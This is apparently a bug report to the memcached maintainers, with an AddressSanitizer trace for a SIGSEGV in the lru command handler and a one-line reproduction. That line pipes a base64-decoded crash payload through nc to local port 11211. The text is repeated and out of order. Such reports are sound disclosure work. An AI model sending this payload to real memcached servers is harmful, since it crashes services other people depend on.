AddressSanitizer:DEADLYSIGNAL
=================================================================
==14929==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000582a7e bp 0x7f6082dfa8d0 sp 0x7f6082dfa780 T4)
==14929==The signal is caused by a READ memory access.
==14929==Hint: address points to the zero page.
#0 0x582a7d in __wrap_strcmp (/home/stze/Documents/repositories/memcached/memcached+0x582a7d)
#1 0x547ac4 in process_lru_command /home/stze/Documents/repositories/memcached/memcached.c:4543:13
#2 0x54055d in process_command /home/stze/Documents/repositories/memcached/memcached.c:4920:9
#3 0x53b30c in try_read_command /home/stze/Documents/repositories/memcached/memcached.c:5064:9
#4 0x52a48e in drive_machine /home/stze/Documents/repositories/memcached/memcached.c:5500:17
#5 0x52c76a in event_handler /home/stze/Documents/repositories/memcached/memcached.c:5782:5
#6 0x7f6088099030 (/lib64/libevent-2.1.so.6+0x24030)
#7 0x7f60880997c6 in event_base_loop (/lib64/libevent-2.1.so.6+0x247c6)
#8 0x56f7ff in worker_libevent /home/stze/Documents/repositories/memcached/thread.c:387:5
#9 0x7f608805b58d in start_thread (/lib64/libpthread.so.0+0x858d)
#10 0x7f6087dd9682 in __GI___clone (/lib64/libc.so.6+0xfd682)
Please let me know what additional information I can provide to successfully reproduce the issue.
The text was updated successfully, but these errors were encountered:
Dear memcached team —
I have detected a SIGSEGV during the lru command handling.
Version
bb0980f
How to reproduce
Start memcached
$ memcachedSend malicious payload via nc:
$ echo -n "bHJ1IG1vZGUKb7G0AGxydWRl6gdtTk9UXw==" | base64 -d | nc 127.0.0.1 11211ASAN
Please let me know what additional information I can provide to successfully reproduce the issue.
The text was updated successfully, but these errors were encountered: